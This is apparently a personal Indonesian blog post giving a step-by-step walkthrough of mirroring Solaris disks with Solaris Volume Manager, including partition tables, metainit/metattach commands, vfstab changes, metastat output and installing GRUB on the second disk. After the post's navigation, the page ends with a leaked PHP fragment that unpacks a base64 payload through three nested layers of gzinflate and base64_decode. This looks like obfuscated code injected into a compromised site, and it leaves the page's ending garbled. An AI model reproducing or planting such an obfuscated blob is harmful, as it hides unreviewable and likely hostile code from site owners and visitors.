Delicious

Archives

Categories

Solaris Mirroring OS

  ozzie / 27/12/2012


just reminder :">

Installing Solaris

install Solaris dengan sample hard-disk 40 GB, untuk layout & size partisi cuma contoh.


Slice 2 : JANGAN DI GANGGU GUGAT!! :)) :)) :)) (overlap)
(http://docs.oracle.com/cd/E19082-01/819-2723/disksconcepts-20068/index.html)
Slice 7 : sengaja di buat 128MB untuk alokasi metadb
http://docs.oracle.com/cd/E23824_01/html/821-1462/metadb-1m.html

Mirroring Disk Solaris

Berikut VTOC hard-disk 1 (c0t0d0)

# prtvtoc /dev/rdsk/c0t0d0s2
 /dev/rdsk/c0t0d0s2 partition map
 
 Dimensions:
     512 bytes/sector
      63 sectors/track
     255 tracks/cylinder
   16065 sectors/cylinder
    5220 cylinders
    5218 accessible cylinders
 
 Flags:
   1: unmountable
  10: read-only
 
 Unallocated space:
       First     Sector    Last
       Sector     Count    Sector 
           0  25189920  25189919
 
                          First     Sector    Last
 Partition  Tag  Flags    Sector     Count    Sector  Mount Directory
       0      2    00   25189920  16787925  41977844   /
       1      3    01   41977845   8401995  50379839
       2      5    00          0  83827170  83827169
       3      7    00      16065  25173855  25189919   /var
       4      0    00   50379840  16787925  67167764   /opt
       5      8    00   67167765  16386300  83554064   /export/home
       7      0    00   83554065    273105  83827169
       8      1    01          0     16065     16064

1. Initialize & labeling hard-disk 2

# format 
Searching for disks...done
AVAILABLE DISK SELECTIONS:
       0. c1t0d0 <DEFAULT cyl 5218 alt 2 hd 255 sec 63>
          /pci@0,0/pci1000,8000@14/sd@0,0
       1. c1t1d0 <DEFAULT cyl 5218 alt 2 hd 255 sec 63>
          /pci@0,0/pci1000,8000@14/sd@1,0
Specify disk (enter its number): 1
selecting c1t1d0
[disk formatted]

2. copy VTOC hard-disk 1 ke hard-disk 2

# prtvtoc /dev/rdsk/c1t0d0s2 | fmthard -s - /dev/rdsk/c1t1d0s2
fmthard:  New volume table of contents now in place.
#
# prtvtoc /dev/rdsk/c1t1d0s2 
 /dev/rdsk/c1t1d0s2 partition map
 
 Dimensions:
     512 bytes/sector
      63 sectors/track
     255 tracks/cylinder
   16065 sectors/cylinder
    5220 cylinders
    5218 accessible cylinders
 
 Flags:
   1: unmountable
  10: read-only
 
 Unallocated space:
       First     Sector    Last
       Sector     Count    Sector 
           0  25189920  25189919
 
                          First     Sector    Last
 Partition  Tag  Flags    Sector     Count    Sector  Mount Directory
       0      2    00   25189920  16787925  41977844
       1      3    01   41977845   8401995  50379839
       2      5    00          0  83827170  83827169
       3      7    00      16065  25173855  25189919
       4      0    00   50379840  16787925  67167764
       5      8    00   67167765  16386300  83554064
       7      0    00   83554065    273105  83827169
       8      1    01          0     16065     16064

3. create metadb pada hard-disk 1 & hard-disk 2 sesuai alokasi pada slice 7:

# metadb -afc 3  c1t0d0s7 c1t1d0s7

4. Initialisasi target disk mirrornya:
Slice 0

# metainit -f d11 1 1 c1t0d0s0 
d11: Concat/Stripe is setup
# metainit d12 1 1 c1t1d0s0 
d12: Concat/Stripe is setup
# metainit d10 -m  d11
d10: Mirror is setup
# metaroot d10

Slice 1:

# metainit -f d21 1 1 c1t0d0s1 
d21: Concat/Stripe is setup
# metainit  d22 1 1 c1t1d0s1 
d22: Concat/Stripe is setup
# metainit d20 -m  d21
d20: Mirror is setup

dan seterusnya sesuai Slice..


# metastat 
d50: Mirror
    Submirror 0: d51
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 16386300 blocks (7.8 GB)
 
d51: Submirror of d50
    State: Okay         
    Size: 16386300 blocks (7.8 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s5          0     No            Okay   Yes 
 
 
d40: Mirror
    Submirror 0: d41
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 16787925 blocks (8.0 GB)
 
d41: Submirror of d40
    State: Okay         
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s4          0     No            Okay   Yes 
 
 
d30: Mirror
    Submirror 0: d31
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 25173855 blocks (12 GB)
 
d31: Submirror of d30
    State: Okay         
    Size: 25173855 blocks (12 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s3          0     No            Okay   Yes 
 
 
d20: Mirror
    Submirror 0: d21
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 8401995 blocks (4.0 GB)
 
d21: Submirror of d20
    State: Okay         
    Size: 8401995 blocks (4.0 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s1          0     No            Okay   Yes 
 
 
d10: Mirror
    Submirror 0: d11
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 16787925 blocks (8.0 GB)
 
d11: Submirror of d10
    State: Okay         
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s0          0     No            Okay   Yes 
 
 
d52: Concat/Stripe
    Size: 16386300 blocks (7.8 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s5          0     No      Yes
 
d42: Concat/Stripe
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s4          0     No      Yes
 
d32: Concat/Stripe
    Size: 25173855 blocks (12 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s3          0     No      Yes
 
d22: Concat/Stripe
    Size: 8401995 blocks (4.0 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s1          0     No      Yes
 
d12: Concat/Stripe
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s0          0     No      Yes
 
Device Relocation Information:
Device   Reloc  Device ID
c1t1d0   Yes    id1,sd@f0000000050dc37e500008fcb0001
c1t0d0   Yes    id1,sd@f0000000050dc37e5000077700000

5. Edit /etc/vfstab:

#device         device          mount           FS      fsck    mount   mount
#to mount       to fsck         point           type    pass    at boot options
#
/dev/dsk/c1t0d0s1       -       -       swap    -       no      -
/dev/md/dsk/d10 /dev/md/rdsk/d10        /       ufs     1       no      -
/dev/dsk/c1t0d0s3       /dev/rdsk/c1t0d0s3      /var    ufs     1       no      -
/dev/dsk/c1t0d0s5       /dev/rdsk/c1t0d0s5      /export/home    ufs     2       yes     -
/dev/dsk/c1t0d0s4       /dev/rdsk/c1t0d0s4      /opt    ufs     2       yes     -

Menjadi

/dev/md/dsk/d20              -       swap    -       no      -
/dev/md/dsk/d10 /dev/md/rdsk/d10        /       ufs     1       no      -
/dev/md/dsk/d30      /dev/md/rdsk/d30      /var    ufs     1       no      -
/dev/md/dsk/d50       /dev/md/rdsk/d50      /export/home    ufs     2       yes     -
/dev/md/dsk/d40       /dev/md/rdsk/d40      /opt    ufs     2       yes     -

6. Restart OS

# metastat -c
d40              m  8.0GB d41
    d41          s  8.0GB c1t0d0s4
d30              m   12GB d31
    d31          s   12GB c1t0d0s3
d20              m  4.0GB d21
    d21          s  4.0GB c1t0d0s1
d10              m  8.0GB d11
    d11          s  8.0GB c1t0d0s0
d50              m  7.8GB d51
    d51          s  7.8GB c1t0d0s5
d52              s  7.8GB c1t1d0s5
d42              s  8.0GB c1t1d0s4
d32              s   12GB c1t1d0s3
d22              s  4.0GB c1t1d0s1
d12              s  8.0GB c1t1d0s0

7. Attach disk.

# metattach d10 d12
d10: submirror d12 is attached
# metattach d20 d22
d20: submirror d22 is attached
# metattach d30 d32
d30: submirror d32 is attached
# metattach d40 d42
d40: submirror d42 is attached
# metattach d50 d52
d50: submirror d52 is attached
#
# metastat -c
d40              m  8.0GB d41 d42 (resync-0%)
    d41          s  8.0GB c1t0d0s4
    d42          s  8.0GB c1t1d0s4
d30              m   12GB d31 d32 (resync-0%)
    d31          s   12GB c1t0d0s3
    d32          s   12GB c1t1d0s3
d20              m  4.0GB d21 d22 (resync-2%)
    d21          s  4.0GB c1t0d0s1
    d22          s  4.0GB c1t1d0s1
d10              m  8.0GB d11 d12 (resync-2%)
    d11          s  8.0GB c1t0d0s0
    d12          s  8.0GB c1t1d0s0
d50              m  7.8GB d51 d52 (resync-0%)
    d51          s  7.8GB c1t0d0s5
    d52          s  7.8GB c1t1d0s5

lihat status Sync antar disk:

# metastat  | grep sync
      State: Resyncing    
    Resync in progress: 16 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 10 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 36 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 19 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 17 % done
    State: Resyncing

next: agar jika salah satu disk Failed dan booting dengan hard-disk backup: boot loader harus di install pula

# installgrub -m  /boot/grub/stage1 /boot/grub/stage2 /dev/rdsk/c1t1d0s0

Alternate Boot

ref:
- http://docs.oracle.com/cd/E19082-01/819-2723/disksconcepts-20068/index.html
- http://docs.oracle.com/cd/E23824_01/html/821-1462/metadb-1m.html


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>